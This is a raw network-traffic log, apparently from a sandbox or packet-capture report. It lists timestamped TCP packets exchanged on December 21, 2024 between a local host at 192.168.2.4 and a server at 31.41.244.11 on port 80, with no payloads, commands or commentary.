Dec 21, 2024 10:15:19.436389923 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.436446905 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.437498093 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.437551022 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.437675953 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.437730074 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.438575983 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.438625097 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.568543911 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.568598986 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.568604946 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.568646908 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.569030046 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.569083929 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.569278955 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.569377899 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.569438934 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.569530010 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.570466995 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.570545912 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.570564985 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.570606947 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.571633101 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.571706057 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.571763039 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.571815968 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.576091051 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.576128006 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.576164007 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.576195002 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.576201916 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.576236010 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.576255083 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.576426983 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.576481104 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.576482058 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.576529026 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.577765942 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.577820063 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.577908993 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.577961922 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.578902960 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.578978062 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.579063892 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.579129934 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.580013037 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.580048084 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.580079079 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.580121040 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.581247091 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.581300020 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.581433058 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.581465960 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.581497908 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.581501007 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.581523895 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.581559896 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.582307100 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.582360029 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.582423925 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.582477093 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.583514929 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.583561897 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.583602905 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.583652020 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.584681988 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.584734917 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.584811926 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.584858894 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.585849047 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.585927963 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.585997105 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.586101055 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.587043047 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.587105989 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.587263107 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.587331057 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.588228941 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.588288069 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.588359118 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.588414907 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.589448929 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.589514017 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.589593887 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.589683056 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.590590954 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.590643883 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.590651035 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.590697050 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.591828108 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.591883898 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.591974020 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.592025995 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.592995882 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.593055964 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.593132019 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.593179941 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.594142914 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.594206095 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.594268084 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.594315052 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.595356941 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.595438004 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.595525026 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.595575094 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.596519947 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.596573114 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.596575022 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.596645117 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.597722054 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.597794056 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.597820044 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.597883940 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.598867893 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.598949909 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.598984957 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.599056005 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.600078106 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.600146055 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.600214958 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.600271940 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.604291916 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.604326963 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.604345083 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.604377031 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.604459047 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.604495049 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.604516983 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.604552031 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.604938984 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.604996920 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.605082035 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.605178118 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.606029034 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.606108904 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.606345892 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.606393099 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.607395887 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.607444048 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.607527971 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.607579947 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.608520031 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.608604908 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.608690023 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.608737946 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.609807014 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.609873056 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.609957933 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.610008955 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.610877037 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.610960007 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.611042976 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.611110926 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.612071037 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.612149954 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.612219095 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.612320900 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.613174915 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.613245010 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.613313913 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.613375902 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.614494085 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.614557981 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.614653111 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.614717007 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.615613937 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.615788937 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.615850925 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.616939068 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.616975069 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.617008924 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.617039919 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.617950916 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.618256092 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.618331909 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.619071960 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.619142056 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.619375944 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.619446039 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.620326996 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.620385885 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.620467901 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.620520115 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.621521950 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.621584892 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.621665955 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.621723890 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.622983932 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.623018026 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.623074055 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.624103069 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.624139071 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.624188900 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.624188900 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.625092030 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.625149012 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.625240088 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.625309944 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.626338959 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.626486063 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.626684904 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.626739025 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.627526045 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.627583027 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.627665043 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.627723932 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.628828049 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.628869057 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.628890991 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.628916025 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.630008936 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.630044937 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.630067110 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.630094051 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.631014109 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.631072044 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.631169081 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.631222010 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.760917902 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.761132002 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.761238098 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.761497021 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.761560917 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.761651039 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.761703968 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.762667894 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.762727022 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.762813091 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.762862921 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.763870955 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.764008999 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.764059067 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.765022993 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.765077114 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.765135050 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.765186071 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.766189098 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.766242981 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.766285896 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.766336918 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.767398119 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.767481089 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.767534971 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.768590927 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.768645048 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.768646955 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.768697023 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.769762039 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.769834042 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.769921064 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.769973993 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.770947933 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.771001101 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.771064043 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.771116972 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.772147894 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.772264004 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.772319078 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.773292065 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.773361921 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.773423910 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.773473978 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.774513006 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.774570942 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.774606943 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.774662018 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.775661945 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.775829077 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.775883913 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.776864052 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.776977062 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.777049065 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.777115107 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.778114080 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.778171062 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.778256893 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.778309107 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.779254913 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.779373884 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.779436111 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.780424118 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.780478001 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.780545950 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.780596972 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.781704903 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.781765938 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.781847954 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.781904936 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.783066034 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.783123970 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.783207893 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.783263922 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.784107924 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.784164906 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.784231901 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.784287930 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.785145998 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.785203934 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.785267115 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.785335064 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.786370039 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.786441088 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.786485910 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.786545038 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.787560940 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.787623882 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.787688017 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.788758993 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.788819075 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.788860083 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.788917065 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.789925098 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.789992094 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.790025949 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.790081978 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.791100025 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.791156054 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.791173935 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.791234016 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.792321920 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.792380095 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.792418003 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.792476892 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.793462992 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.793521881 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.793567896 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.793628931 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.794642925 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.794704914 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.794759035 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.794814110 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.795830965 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.795964956 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.796021938 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.797077894 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.797141075 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.797153950 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.797214985 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.798177004 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.798258066 CET	49781	80	192.168.2.4	31.41.244.11
